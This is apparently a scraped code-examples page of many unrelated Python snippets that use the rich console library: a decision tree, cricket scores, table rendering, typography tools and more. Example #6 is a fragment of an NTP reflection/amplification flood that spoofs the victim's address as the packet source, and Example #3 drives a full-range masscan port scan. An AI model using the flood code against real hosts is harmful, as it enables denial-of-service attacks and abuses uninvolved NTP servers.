コード例 #1
0
ファイル: distance.py プロジェクト: musurca/Icarus
'''
distance.py

Calculates the direct distance between two airport/navaids.

'''

import sys
from rich.console import Console
from rich.markdown import Markdown

from igrf.magvar import Magvar
from utils import db, globenav

console = Console()

MV = Magvar()

if len(sys.argv) > 2:
    src = sys.argv[1].upper()
    dst = sys.argv[2].upper()

    if src == dst:
        sys.exit("Your source and destination are the same!")

    if len(sys.argv) > 3:
        region = sys.argv[3].upper()
        anyRegion = False
    else:
        region = ""
        anyRegion = True
コード例 #2
0
            return root.label
        return self.query(root.children[x[root.col]], x)

    def fit(self, X, Y):
        self.column_cnt = len(X[0])
        self.root = self.build(X, Y, set())

    def _predict(self, x):
        return self.query(self.root, x)

    def predict(self, X):
        return [self._predict(x) for x in X]


if __name__ == "__main__":
    console = Console(markup=False)
    c45 = C45(verbose=True)
    # -------------------------- Example 1 ----------------------------------------
    # unpruned decision tree predict correctly for all training data
    print("Example 1:")
    X = [
        ['青年', '否', '否', '一般'],
        ['青年', '否', '否', '好'],
        ['青年', '是', '否', '好'],
        ['青年', '是', '是', '一般'],
        ['青年', '否', '否', '一般'],
        ['老年', '否', '否', '一般'],
        ['老年', '否', '否', '好'],
        ['老年', '是', '是', '好'],
        ['老年', '否', '是', '非常好'],
        ['老年', '否', '是', '非常好'],
コード例 #3
0
ファイル: scan.py プロジェクト: wakaka123wakaka/tools
import get_title
import os
import nmap
import json
from queue import Queue
# 线程池经测试会GG,特采用Process方式
from multiprocessing import Process, Lock
import time
from rich.console import Console
console = Console()

dt = time.strftime('%Y-%m-%d %H:%M:%S')
# 创建进程互斥锁
lock = Lock()
task_queue = Queue()
services_info = []


# 调用masscan
def port_scan():
    ip_port = []
    dataList = {}
    console.print(
        './masscan/bin/masscan -iL ip.txt -p 1-65535 -oJ masscan.json --rate 2000',
        style="#ADFF2F")
    os.system(
        './masscan/bin/masscan -iL ip.txt -p 1-65535 -oJ masscan.json --rate 2000'
    )
    if os.path.exists('masscan.json'):
        # 提取json文件中的端口
        with open('masscan.json', 'r') as f:
コード例 #4
0
ファイル: align.py プロジェクト: willmcgugan/rich
            yield from blank_lines(bottom_space)

    def __rich_measure__(
        self, console: "Console", options: "ConsoleOptions"
    ) -> Measurement:
        measurement = Measurement.get(console, options, self.renderable)
        return measurement


if __name__ == "__main__":  # pragma: no cover
    from rich.console import Console, RenderGroup
    from rich.highlighter import ReprHighlighter
    from rich.panel import Panel

    highlighter = ReprHighlighter()
    console = Console()

    panel = Panel(
        RenderGroup(
            Align.left(highlighter("align='left'")),
            Align.center(highlighter("align='center'")),
            Align.right(highlighter("align='right'")),
        ),
        width=60,
        style="on dark_blue",
        title="Algin",
    )

    console.print(
        Align.center(panel, vertical="middle", style="on red", height=console.height)
    )
コード例 #5
0
from rich.console import Console
from assistant.rewards.aws_utils import upload_analytics
import matplotlib.pyplot as plt
import matplotlib.ticker as ticker
from helpers.constants import BADGER, DIGG
import numpy as np
import json

console = Console()


class RewardsLog:
    def __init__(self):
        self._unlockSchedules = {}
        self._userData = {}
        self._totalTokenDist = {}
        self._merkleRoot = ""
        self._diggAllocation = 0

    def set_merkle_root(self, root):
        self._merkleRoot = root

    def add_total_token_dist(self, name, token, amount):
        if name not in self._totalTokenDist:
            self._totalTokenDist[name] = {}
        self._totalTokenDist[name][token] = amount

    def _check_user_vault(self, address, vault):
        if vault not in self._userData:
            self._userData[vault] = {}
        if address not in self._userData[vault]:
コード例 #6
0
ファイル: ntp.py プロジェクト: R3tr074/Burn-Byte
# Import modules
import random
from socket import gaierror
from rich.console import Console
from bin.addons.utils import __path
from scapy.all import IP, send, Raw, UDP

# Define styled print
print = Console().print
red = "red3"
green = "green1"
pink = "magenta3"
yellow = "yellow1"

# Load NTP servers list
with open(__path("bin", "config", "ntp_servers.txt"), "r") as f:
    ntp_servers = f.readlines()

# Payload
payload = "\x17\x00\x03\x2a" + "\x00" * 4


def flood(target):
    server = random.choice(ntp_servers)
    # Packet
    packets = random.randint(10, 150)
    server = server.replace("\n", "")

    try:
        packet = (
            IP(dst=server, src=target[0])
コード例 #7
0
ファイル: pre_process.py プロジェクト: CompCy-lab/cytoset
def main(args):
    # read the .fcs meta file
    fcs_info = pd.read_csv(args.fcs_info_file, sep=',')

    # select the id and label column
    fcs_info = np.array(fcs_info[[args.id_name, args.label_name]])
    sample_ids = fcs_info[:, 0]
    sample_labels = fcs_info[:, 1]
    # assign label with name
    sample_labels[np.where(sample_labels == args.pos)] = 1
    sample_labels[np.where(sample_labels == args.neg)] = 0
    sample_labels = sample_labels.astype(int)

    # set random seed for reproducible results
    np.random.seed(12345)
    os.makedirs(args.out_dir, exist_ok=True)

    markers = args.marker.strip().split(',')
    marker_dic = {}
    for i, marker in enumerate(markers):
        marker_dic[str(i + 1)] = marker
    # train and test split
    assert 0 <= args.train_prop <= 1, "train split should be between 0 and 1"
    group_pos = np.where(sample_labels == 1)[0]
    group_neg = np.where(sample_labels == 0)[0]

    train_pos_idx, train_neg_idx, test_pos_idx, test_neg_idx = train_test_split(
        group_pos, group_neg, tr_prop=args.train_prop)

    # write processed fcs file to output dir
    train_dir = os.path.join(args.out_dir, 'train')
    test_dir = os.path.join(args.out_dir, 'test')
    os.makedirs(train_dir, exist_ok=False)
    os.makedirs(test_dir, exist_ok=False)

    console = Console()
    console.print("start generating training samples :rocket:")

    with console.status("[bold green]Working on tasks...") as status:
        with open(os.path.join(train_dir, 'train_labels.csv'), 'w') as f:
            f.write('fcs_file,label\n')
            for idx in train_pos_idx:
                fname = os.path.join(args.fcs_data_dir, sample_ids[idx])
                write_fcs(fname, marker_dic,
                          os.path.join(train_dir, sample_ids[idx]),
                          args.downsampling, args.cluster_marker_id,
                          args.co_factor, args.jac_std, args.seed)
                f.write(f'{sample_ids[idx]},1\n')
            console.log('train positive finished')

            for idx in train_neg_idx:
                fname = os.path.join(args.fcs_data_dir, sample_ids[idx])
                write_fcs(fname, marker_dic,
                          os.path.join(train_dir, sample_ids[idx]),
                          args.downsampling, args.cluster_marker_id,
                          args.co_factor, args.jac_std, args.seed)
                f.write(f'{sample_ids[idx]},0\n')
            console.log('train negative finished')

        with open(os.path.join(test_dir, 'test_labels.csv'), 'w') as f:
            f.write('fcs_file,label\n')
            for idx in test_pos_idx:
                fname = os.path.join(args.fcs_data_dir, sample_ids[idx])
                write_fcs(fname, marker_dic,
                          os.path.join(test_dir, sample_ids[idx]),
                          args.downsampling, args.cluster_marker_id,
                          args.co_factor, args.jac_std, args.seed)
                f.write(f'{sample_ids[idx]},1\n')
            console.log('test positive finished')

            for idx in test_neg_idx:
                fname = os.path.join(args.fcs_data_dir, sample_ids[idx])
                write_fcs(fname, marker_dic,
                          os.path.join(test_dir, sample_ids[idx]),
                          args.downsampling, args.cluster_marker_id,
                          args.co_factor, args.jac_std, args.seed)
                f.write(f'{sample_ids[idx]},0\n')
            console.log('test negative finished')

        # write marker_file
        with open(os.path.join(args.out_dir, 'marker.csv'), "w") as f:
            f.write(args.train_marker)
    console.print('finished :tada:')
コード例 #8
0
ファイル: display.py プロジェクト: 3070190/BaiduPCS-Py
def display_files(
    pcs_files: List[PcsFile],
    remotepath: Optional[str],
    sifters: List[Sifter] = [],
    highlight: bool = False,
    show_size: bool = False,
    show_date: bool = False,
    show_md5: bool = False,
    show_absolute_path: bool = False,
    show_dl_link: bool = False,
    show_hash_link: bool = False,
    hash_link_protocol: str = PcsRapidUploadInfo.default_hash_link_protocol(),
    csv: bool = False,
):
    if not pcs_files:
        return

    table = Table(box=SIMPLE, padding=0, show_edge=False)
    table.add_column()
    headers = []  # for csv
    headers.append("\t")
    if show_size:
        header = "Size"
        table.add_column(header, justify="right")
        headers.append(header)
    if show_date:
        header = "Modified Time"
        table.add_column(header, justify="center")
        headers.append(header)
    if show_md5:
        header = "md5"
        table.add_column(header, justify="left")
        headers.append(header)
    header = "Path"
    table.add_column(header, justify="left", overflow="fold")
    headers.append(header)
    if show_dl_link:
        header = "Download Link"
        table.add_column(header, justify="left", overflow="fold")
        headers.append(header)
    if show_hash_link:
        header = "Hash Link"
        table.add_column(header, justify="left", overflow="fold")
        headers.append(header)

    rows = []  # for csv

    max_size_str_len = max([len(str(pcs_file.size)) for pcs_file in pcs_files])
    for pcs_file in pcs_files:
        row: List[Union[str, Text]] = []

        if csv:
            row.append("-")
        else:
            tp = Text("-", style="bold red")
            row.append(tp)

        if show_size:
            size = human_size(pcs_file.size) if pcs_file.size else ""
            if csv:
                row.append(f"{size} {pcs_file.size}")
            else:
                row.append(f"{size} {pcs_file.size: >{max_size_str_len}}")
        if show_date:
            date = format_date(
                pcs_file.local_mtime) if pcs_file.local_mtime else ""
            row.append(date)
        if show_md5:
            md5 = pcs_file.md5 or ""
            row.append(md5)

        path = pcs_file.path if show_absolute_path else Path(
            pcs_file.path).name
        background = Text()
        if pcs_file.is_dir:
            if csv:
                row[0] = "d"
            else:
                tp._text = ["d"]
                background.style = "blue"

        if highlight and sifters:
            pats: List[Union[Pattern, str]] = list(
                filter(None, [
                    sifter.pattern() for sifter in sifters if sifter.include()
                ]))
            highlighter = Highlighter(pats, "yellow")
            _path = highlighter(path)
        else:
            _path = Text(path)

        if csv:
            row.append(path)
        else:
            row.append(background + _path)

        if show_dl_link:
            row.append(pcs_file.dl_link or "")

        rpinfo = pcs_file.rapid_upload_info
        if show_hash_link:
            link = ""
            if rpinfo:
                link = rpinfo.cs3l()
            row.append(link)

        if csv:
            rows.append(row)
        else:
            table.add_row(*row)

    if csv:
        _print(remotepath)
        _print("\t".join(headers))
        for row in rows:
            _print("\t".join(row))  # type: ignore
    else:
        console = Console()
        if remotepath:
            title = Text(remotepath, style="italic green")
            console.print(title)
        console.print(table)
コード例 #9
0
ファイル: __main__.py プロジェクト: sAksham-Ar/cricketpy
def cricpy():
    c = Cricbuzz()
    f = Figlet(font='slant')
    console = Console()

    print(f.renderText('CRICPY'))
    while 1:
        matches = c.livescore()
        print_scores(matches)
        choice = input()
        if choice == 'q':
            os.system('clear')
            exit()
        elif choice == 'r':
            continue
        else:
            while 1:
                os.system('clear')
                matches = c.livescore()
                match = matches[int(choice) - 1]
                single_score_table = Table(show_header=False,
                                           show_lines=True,
                                           expand=True)
                single_score_table.add_column()
                single_score_table.add_row(get_score_row(match))
                console.print(single_score_table)
                commentary = c.commentary(match['id'])

                if len(commentary['batsman']):
                    batsmens = commentary['batsman']
                    current_batsmen_table = Table("Batsman",
                                                  "R",
                                                  "B",
                                                  "4s",
                                                  "6s",
                                                  "SR",
                                                  expand=True)
                    for batsmen in batsmens:
                        current_batsmen_table = get_batsmen_row(
                            batsmen, current_batsmen_table)
                    console.print(current_batsmen_table)
                    current_bowler_table = Table("Bowler",
                                                 "O",
                                                 "M",
                                                 "R",
                                                 "W",
                                                 "ER",
                                                 expand=True)
                    bowler = commentary['bowler'][0]
                    current_bowler_table = get_bowler_row(
                        bowler, current_bowler_table)
                    console.print(current_bowler_table)

                commentary = commentary['comm']
                commentary_table = Table(show_header=False,
                                         padding=(1, 0, 0, 0),
                                         expand=True)
                for comment in commentary:
                    commentary_table = get_commentary_row(
                        comment, commentary_table)
                commentary_table.add_row('s:scorecard,b:back,r:refresh,q:quit')
                console.print(commentary_table)

                ch = input()
                if ch == 'r':
                    continue
                elif ch == 'b':
                    break
                elif ch == 'q':
                    os.system('clear')
                    exit()
                elif ch == 's':
                    scorecard = c.scorecard(match['id'])
                    inning = scorecard[0]
                    while 1:
                        os.system('clear')
                        batsmens = inning['batcard']

                        batsmen_table = Table("Batsman",
                                              "Dismissal",
                                              "R",
                                              "B",
                                              "4s",
                                              "6s",
                                              "SR",
                                              expand=True)
                        for batsmen in batsmens:
                            batsmen_table = get_batsmen_row(
                                batsmen, batsmen_table)
                        console.print(batsmen_table)

                        bowler_table = Table("Bowler",
                                             "O",
                                             "M",
                                             "R",
                                             "W",
                                             "ER",
                                             expand=True)
                        bowlers = inning['bowlcard']
                        for bowl in bowlers:
                            bowler_table = get_bowler_row(bowl, bowler_table)
                        console.print(bowler_table)

                        fall_wickets_table = Table("Fall of Wickets",
                                                   "Score",
                                                   "Over",
                                                   expand=True)
                        fall_wickets = inning['fall_wickets']
                        for fall_wicket in fall_wickets:
                            name = fall_wicket['name']
                            wicket = fall_wicket['wkt_num']
                            score = fall_wicket['score']
                            overs = fall_wicket['overs']
                            score = score + '-' + wicket
                            fall_wickets_table.add_row(name, score, overs)
                        console.print(fall_wickets_table)
                        print(
                            'inning number:inning scorecard,b:back,r:refresh,q:quit'
                        )

                        chh = input()
                        if chh == 'b':
                            break
                        elif chh == 'r':
                            continue
                        elif chh == 'q':
                            os.system('clear')
                            exit()
                        else:
                            try:
                                inning = scorecard[int(chh) - 1]
                            except:
                                print("wrong innings")
                            continue
コード例 #10
0
import re
from decimal import ROUND_UP, Decimal
from pathlib import Path
from typing import List

import matplotlib.pyplot as plt
import numpy as np
from pydantic import BaseModel
from rich.console import Console
from rich.table import Table

console = Console()


class CustomDecimal(Decimal):
    @classmethod
    def __get_validators__(cls):
        yield cls.validator

    @classmethod
    def validator(cls, v: float):
        if not isinstance(v, float):
            raise TypeError("float required.")
        return cls.from_float(v).quantize(Decimal(".001"), rounding=ROUND_UP)


class AggregateResults(BaseModel):
    #: 平均值
    mean: CustomDecimal

    #: 标准差
コード例 #11
0
def typogrify() -> int:
    """
	Entry point for `se typogrify`
	"""

    parser = argparse.ArgumentParser(
        description=
        "Apply some scriptable typography rules from the Standard Ebooks typography manual to XHTML files."
    )
    parser.add_argument(
        "-n",
        "--no-quotes",
        dest="quotes",
        action="store_false",
        help="don’t convert to smart quotes before doing other adjustments")
    parser.add_argument("-v",
                        "--verbose",
                        action="store_true",
                        help="increase output verbosity")
    parser.add_argument(
        "targets",
        metavar="TARGET",
        nargs="+",
        help="an XHTML file, or a directory containing XHTML files")
    args = parser.parse_args()

    console = Console(
        highlight=False,
        theme=se.RICH_THEME,
        force_terminal=se.is_called_from_parallel()
    )  # Syntax highlighting will do weird things when printing paths; force_terminal prints colors when called from GNU Parallel
    return_code = 0
    ignored_filenames = se.IGNORED_FILENAMES
    ignored_filenames.remove("toc.xhtml")
    ignored_filenames.remove("halftitle.xhtml")
    ignored_filenames.remove("loi.xhtml")
    ignored_filenames.remove("colophon.xhtml")

    for filename in se.get_target_filenames(args.targets, (".xhtml", ".opf"),
                                            ignored_filenames):
        if args.verbose:
            console.print(
                f"Processing [path][link=file://{filename}]{filename}[/][/] ...",
                end="")

        try:
            with open(filename, "r+", encoding="utf-8") as file:
                xhtml = file.read()

                if filename.name == "content.opf":
                    dom = se.easy_xml.EasyOpfTree(xhtml)

                    # Typogrify metadata except for URLs, dates, and LoC subjects
                    for node in dom.xpath(
                            "/package/metadata/dc:*[local-name() != 'subject' and local-name() != 'source' and local-name() != 'date']"
                    ) + dom.xpath(
                            "/package/metadata/meta[not(contains(@property, 'se:url') or @property = 'dcterms:modified' or @property = 'se:production-notes')]"
                    ):
                        contents = node.lxml_element.text

                        if contents:
                            contents = html.unescape(contents)

                            contents = se.typography.typogrify(contents)

                            # Tweak: Word joiners and nbsp don't go in metadata
                            contents = contents.replace(se.WORD_JOINER, "")
                            contents = contents.replace(se.NO_BREAK_SPACE, " ")

                            # Typogrify escapes ampersands, and then lxml will also escape them again, so we unescape them
                            # before passing to lxml.
                            if node.get_attr(
                                    "property") != "se:long-description":
                                contents = contents.replace("&amp;",
                                                            "&").strip()

                            node.lxml_element.text = contents

                    processed_xhtml = dom.to_string()

                else:
                    processed_xhtml = se.typography.typogrify(
                        xhtml, args.quotes)

                    if filename.name == "toc.xhtml":
                        # Tweak: Word joiners and nbsp don't go in the ToC
                        processed_xhtml = processed_xhtml.replace(
                            se.WORD_JOINER, "")
                        processed_xhtml = processed_xhtml.replace(
                            se.NO_BREAK_SPACE, " ")

                if processed_xhtml != xhtml:
                    file.seek(0)
                    file.write(processed_xhtml)
                    file.truncate()

            if args.verbose:
                console.print(" OK")

        except FileNotFoundError:
            se.print_error(
                f"Couldn’t open file: [path][link=file://{filename}]{filename}[/][/]."
            )
            return_code = se.InvalidInputException.code

    return return_code
コード例 #12
0
from __future__ import annotations
from typing import Any, Iterable
import re

from rich.color import ANSI_COLOR_NAMES
from rich.console import Console

_stdout_console = Console(highlight=False)
_stderr_console = Console(highlight=False, stderr=True)


class RichString:
    """
    Class used for combining normal strings and rich strings
    This allows for printing and logging without rich syntax causing issues
    """

    _open_tag_regex = re.compile("(%s)" % "|".join(r"\[" + c + r"\]"
                                                   for c in ANSI_COLOR_NAMES))
    _close_tag_regex_1 = re.compile(r"\\(\[\/.*\])")
    _close_tag_regex_2 = re.compile(r"(\[\/.*\])")

    def __init__(self, stderr=False):
        self.strings: list[str] = list()  # Normal strings
        self.riches: list[str] = list(
        )  # Corresponding strings with rich syntax
        self.console = _stderr_console if stderr else _stdout_console

    def add_string(self, s: str, rich: str = None):
        """ Add a new string and optionally a rich string equivalent """
        if rich is None:
コード例 #13
0
def main(fn: Optional[str] = None,
         cwidth: Optional[int] = None,
         color: bool = True):
    if cwidth is None:
        console = Console(force_terminal=color, highlight=False)
    else:
        console = Console(force_terminal=color, highlight=False, width=cwidth)

    lines = []
    if fn is None:
        for line in sys.stdin:
            lines.append(line)
    else:
        with open(fn, "r") as f:
            lines = f.readlines()

    annotated_lines = []
    ids = set()
    for line in lines:
        line = line.strip("\n")
        annotated_line = {"line": line}

        rgx = r"(\d{2}:\d{2}:\d{2}.\d{6}) ([A-Z]{4}) \[server (\d+)\](.*)"
        m = re.match(rgx, line)
        if m:
            annotated_line["type"] = "SERVER"
            annotated_line["time"] = m.group(1)
            annotated_line["topic"] = m.group(2)
            annotated_line["server"] = int(m.group(3))
            annotated_line["id"] = "S" + m.group(3)
            annotated_line["line"] = m.group(4)
            ids.add(annotated_line["id"])

        rgx_client = r"(\d{2}:\d{2}:\d{2}.\d{6}) ([A-Z]{4}) \[client ([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}) \(on server (\d+)\)\](.*)"
        m = re.match(rgx_client, line)
        if m:
            annotated_line["type"] = "CLIENT"
            annotated_line["time"] = m.group(1)
            annotated_line["topic"] = m.group(2)
            annotated_line["client"] = m.group(3)
            annotated_line["server"] = int(m.group(4))
            annotated_line["line"] = m.group(5)
            annotated_line["id"] = "C" + annotated_line["client"][:8]
            ids.add(annotated_line["id"])

        if "type" not in annotated_line:
            annotated_line["type"] = "SPECIAL"

        annotated_line["line"] = annotated_line["line"].replace("[", "\[")
        annotated_lines.append(annotated_line)

    # annotated_lines = stripleaks(annotated_lines)
    annotated_lines = colorstuff(annotated_lines)

    ids_list = list(ids)
    for aline in annotated_lines:
        if aline["type"] == "SPECIAL":
            continue
        aline["id_index"] = ids_list.index(aline["id"])

    width = console.size.width
    n_columns = max(len(ids), 1)
    col_width = width // n_columns - 1

    for aline in annotated_lines:
        line = aline["line"]
        if aline["type"] == "SPECIAL":
            console.print(f"[green]{line}[/green]")
            continue

        i = aline["id_index"]
        cols = [" " for _ in range(n_columns)]
        cols[
            i] = f"[magenta]{aline['id']}[/magenta]@[bright_blue]{aline['time']}[/bright_blue]: {line}"
        c = Columns(cols, width=col_width, equal=True, expand=True)
        console.print(c)
コード例 #14
0
ファイル: test_containers.py プロジェクト: zoerab/rich
def test_lines_rich_console():
    console = Console()
    lines = Lines([Text("foo")])

    result = list(lines.__rich_console__(console, console.options))
    assert result == [Text("foo")]
コード例 #15
0
def print_info(config, selction):
    '''
    This function processes a meta data file without validating it,
    then compares the file to now and presents the results in a table.
    This acts as a 'dry run' of sorts not only showing info in the meta data
    file but also showing what would be changed if actually restored.
    The code is kind of gross but I'm not inclined to fix it.
    '''
    # Build Base Vars
    m_num = selction[2:].zfill(2)

    if selction.startswith('rp'):
        m_path = config['rp_paths'] + '/rp' + m_num + '.meta'
    elif selction.startswith('ss'):
        m_path = config['ss_paths'] + '/ss' + m_num + '.meta'

    # Return if Missing
    if not os.path.exists(m_path):
        return paf.prError(selction.upper() + ' Was NOT Found!')

    # Load Meta and Compare
    m = meta.read(config, m_path)
    compare = meta.compare_now(config, m)

    # Build Data For Table
    c1 = [
        'Installed Packages: ' + m['pkgs_installed'], 'Date: ' + m['date'],
        'Time: ' + m['time'], 'Pacback Version: ' + m['version'],
        'User Label: ' + m['label']
    ]

    if m['stype'] == 'Full':
        c1.append('Packages Cached: ' + m['pkgs_cached'])
        c1.append('Cache Size: ' + m['cache_size'])

    if m['dir_list']:
        c1.append('')
        c1.append('File Count: ' + m['file_count'])
        c1.append('Raw File Size: ' + m['file_raw_size'])
        c1.append('Compressed Size: ' + m['tar_size'])
        c1.append('')
        c1.append('Directory List')
        c1.append('--------------')
        for d in m['dir_list']:
            c1.append(d)

    c2 = list(compare['c_pkgs'])
    if not c2:
        c2.append('NONE')

    c3 = list(compare['a_pkgs'])
    if not c3:
        c3.append('NONE')

    c4 = list(compare['r_pkgs'])
    if not c4:
        c4.append('NONE')

    # Build Table
    t = Table(title=m['type'] + ' #' + m_num)
    t.add_column('Meta Info', justify='left', style='bold white', no_wrap=True)
    t.add_column('Changed Since Creation',
                 justify='center',
                 style='yellow',
                 no_wrap=True)
    t.add_column('Added Since Creation',
                 justify='center',
                 style='green',
                 no_wrap=True)
    t.add_column('Removed Since Creation',
                 justify='center',
                 style='red',
                 no_wrap=True)

    # This Builds The Table Output Line by Line
    counter = 0
    for x in range(0, max(len(l) for l in [c1, c2, c3, c4])):
        try:
            a = str(c1[counter])
        except Exception:
            a = ''

        try:
            b = str(c2[counter])
        except Exception:
            b = ''

        try:
            c = str(c3[counter])
        except Exception:
            c = ''

        try:
            d = str(c4[counter])
        except Exception:
            d = ''

        t.add_row(a, b, c, d)
        counter += 1

    console = Console()
    console.print(t)
コード例 #16
0
ファイル: default_styles.py プロジェクト: sthagen/python-rich
    Style(color="magenta"),
    "iso8601.timezone":
    Style(color="yellow"),
}

if __name__ == "__main__":  # pragma: no cover
    import argparse
    import io

    from rich.console import Console
    from rich.table import Table
    from rich.text import Text

    parser = argparse.ArgumentParser()
    parser.add_argument("--html",
                        action="store_true",
                        help="Export as HTML table")
    args = parser.parse_args()
    html: bool = args.html
    console = Console(record=True, width=70,
                      file=io.StringIO()) if html else Console()

    table = Table("Name", "Styling")

    for style_name, style in DEFAULT_STYLES.items():
        table.add_row(Text(style_name, style=style), str(style))

    console.print(table)
    if html:
        print(console.export_html(inline_styles=True))
コード例 #17
0
def diff_meta(config, meta1, meta2):
    '''
    This function processes two meta data files without validating either.
    It will compare meta1 as base compared to meta2 then present the results in a table.
    The code is kind of gross but I'm not inclined to fix it.
    '''
    # Build Base Vars
    m1_num = meta1[2:].zfill(2)
    m2_num = meta2[2:].zfill(2)

    if meta1.startswith('rp'):
        m1_path = config['rp_paths'] + '/rp' + m1_num + '.meta'
    elif meta1.startswith('ss'):
        m1_path = config['ss_paths'] + '/ss' + m1_num + '.meta'

    if meta2.startswith('rp'):
        m2_path = config['rp_paths'] + '/rp' + m2_num + '.meta'
    elif meta2.startswith('ss'):
        m2_path = config['ss_paths'] + '/ss' + m2_num + '.meta'

    # Return if Missing
    if not os.path.exists(m1_path):
        return paf.prError(meta1.upper() + ' Was NOT Found!')

    if not os.path.exists(m2_path):
        return paf.prError(meta2.upper() + ' Was NOT Found!')

    # Read Meta Data
    m1 = meta.read(config, m1_path)
    m2 = meta.read(config, m2_path)
    compare = meta.compare_meta(config, m1, m2)

    # Build Info For Table
    c1 = [
        'Installed Packages: ' + m1['pkgs_installed'], 'Date: ' + m1['date'],
        'Time: ' + m1['time'], 'Pacback Version: ' + m1['version'],
        'User Label: ' + m1['label']
    ]

    if m1['stype'] == 'Full':
        c1.append('Packages Cached: ' + m1['pkgs_cached'])
        c1.append('Cache Size: ' + m1['cache_size'])

    if m1['dir_list']:
        c1.append('')
        c1.append('File Count: ' + m1['file_count'])
        c1.append('Raw File Size: ' + m1['file_raw_size'])
        c1.append('Compressed Size: ' + m1['tar_size'])
        c1.append('')
        c1.append('Directory List')
        c1.append('--------------')
        for d in m1['dir_list']:
            c1.append(d)

    c2 = list(compare['c_pkgs'])
    if not c2:
        c2.append('NONE')

    c3 = list(compare['a_pkgs'])
    if not c3:
        c3.append('NONE')

    c4 = list(compare['r_pkgs'])
    if not c4:
        c4.append('NONE')

    c5 = [
        'Installed Packages: ' + m2['pkgs_installed'], 'Date: ' + m2['date'],
        'Time: ' + m2['time'], 'Pacback Version: ' + m2['version'],
        'User Label: ' + m2['label']
    ]

    if m2['stype'] == 'Full':
        c5.append('Packages Cached: ' + m2['pkgs_cached'])
        c5.append('Cache Size: ' + m2['cache_size'])

    if m2['dir_list']:
        c5.append('')
        c5.append('File Count: ' + m2['file_count'])
        c5.append('Raw File Size: ' + m2['file_raw_size'])
        c5.append('Compressed Size: ' + m2['tar_size'])
        c5.append('')
        c5.append('Directory List')
        c5.append('--------------')
        for d in m2['dir_list']:
            c5.append(d)

    # Build Table
    t = Table(title=m1['type'] + ' #' + m1_num + ' --------> ' + m2['type'] +
              ' #' + m2_num)
    t.add_column(meta1.upper() + ' Meta Info',
                 justify='left',
                 style='bold white',
                 no_wrap=True)
    t.add_column('Changed Since Creation',
                 justify='center',
                 style='yellow',
                 no_wrap=True)
    t.add_column('Added Since Creation',
                 justify='center',
                 style='green',
                 no_wrap=True)
    t.add_column('Removed Since Creation',
                 justify='center',
                 style='red',
                 no_wrap=True)
    t.add_column(meta2.upper() + ' Meta Info',
                 justify='right',
                 style='bold white',
                 no_wrap=True)

    # This Builds The Table Output Line by Line
    counter = 0
    for x in range(0, max(len(l) for l in [c1, c2, c3, c4, c5])):
        try:
            a = str(c5[counter])
        except Exception:
            a = ''

        try:
            b = str(c2[counter])
        except Exception:
            b = ''

        try:
            c = str(c3[counter])
        except Exception:
            c = ''

        try:
            d = str(c4[counter])
        except Exception:
            d = ''

        try:
            e = str(c5[counter])
        except Exception:
            e = ''

        t.add_row(a, b, c, d, e)
        counter += 1

    console = Console()
    console.print(t)
コード例 #18
0
ファイル: bump_versions.py プロジェクト: nf-core/tools
    def _print_results(self):
        """
        Print the results for the bump_versions command
        Uses the ``rich`` library to print a set of formatted tables to the command line
        summarising the linting results.
        """

        log.debug("Printing bump_versions results")

        console = Console(force_terminal=rich_force_colors())
        # Find maximum module name length
        max_mod_name_len = 40
        for m in [self.up_to_date, self.updated, self.failed]:
            try:
                max_mod_name_len = max(len(m[2]), max_mod_name_len)
            except:
                pass

        def _s(some_list):
            if len(some_list) > 1:
                return "s"
            return ""

        def format_result(module_updates, table):
            """
            Create rows for module updates
            """
            # TODO: Row styles don't work current as table-level style overrides.
            # I'd like to make an issue about this on the rich repo so leaving here in case there is a future fix
            last_modname = False
            row_style = None
            for module_update in module_updates:
                if last_modname and module_update[1] != last_modname:
                    if row_style:
                        row_style = None
                    else:
                        row_style = "magenta"
                last_modname = module_update[1]
                table.add_row(
                    Markdown(f"{module_update[1]}"),
                    Markdown(f"{module_update[0]}"),
                    style=row_style,
                )
            return table

        # Table of up to date modules
        if len(self.up_to_date) > 0 and self.show_up_to_date:
            console.print(
                rich.panel.Panel(
                    r"[!] {} Module{} version{} up to date.".format(
                        len(self.up_to_date), _s(self.up_to_date),
                        _s(self.up_to_date)),
                    style="bold green",
                ))
            table = Table(style="green", box=rich.box.ROUNDED)
            table.add_column("Module name", width=max_mod_name_len)
            table.add_column("Update Message")
            table = format_result(self.up_to_date, table)
            console.print(table)

        # Table of updated modules
        if len(self.updated) > 0:
            console.print(
                rich.panel.Panel(r"[!] {} Module{} updated".format(
                    len(self.updated), _s(self.updated)),
                                 style="bold yellow"))
            table = Table(style="yellow", box=rich.box.ROUNDED)
            table.add_column("Module name", width=max_mod_name_len)
            table.add_column("Update message")
            table = format_result(self.updated, table)
            console.print(table)

        # Table of modules that couldn't be updated
        if len(self.failed) > 0:
            console.print(
                rich.panel.Panel(r"[!] {} Module update{} failed".format(
                    len(self.failed), _s(self.failed)),
                                 style="bold red"))
            table = Table(style="red", box=rich.box.ROUNDED)
            table.add_column("Module name", width=max_mod_name_len)
            table.add_column("Update message")
            table = format_result(self.failed, table)
            console.print(table)

        # Table of modules ignored due to `.nf-core.yml`
        if len(self.ignored) > 0:
            console.print(
                rich.panel.Panel(r"[!] {} Module update{} ignored".format(
                    len(self.ignored), _s(self.ignored)),
                                 style="grey58"))
            table = Table(style="grey58", box=rich.box.ROUNDED)
            table.add_column("Module name", width=max_mod_name_len)
            table.add_column("Update message")
            table = format_result(self.ignored, table)
            console.print(table)
コード例 #19
0
def scan_file(path: str):
    console = Console(width=45)
    driver = pefile.PE(path)

    console.print("Checking {}...".format(os.path.basename(path)),
                  end='',
                  justify="left")
    searched_imports = {
        "MmMapIoSpace", "MmMapIoSpaceEx", "MmGetPhysicalAddress",
        "ZwMapViewOfSection"
    }

    ntoskrnl_exe = [
        n for n in driver.DIRECTORY_ENTRY_IMPORT
        if n.dll.decode('utf-8') == 'ntoskrnl.exe'
    ]

    if not ntoskrnl_exe:
        console.print("[[[green]  OK  [/]]]", justify="right")
        return

    found = [
        i for i in ntoskrnl_exe[0].imports
        if i.name.decode('utf-8') in searched_imports
    ]

    if found:
        console.print("[[[bold red] FAIL [/]]]", justify="right")
        for imp in found:
            console.print("Found {} @ {}\n\n".format(imp.name.decode('utf-8'),
                                                     hex(imp.address)))
    else:
        console.print("[[[green]  OK  [/]]]", justify="right")
コード例 #20
0
#   http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
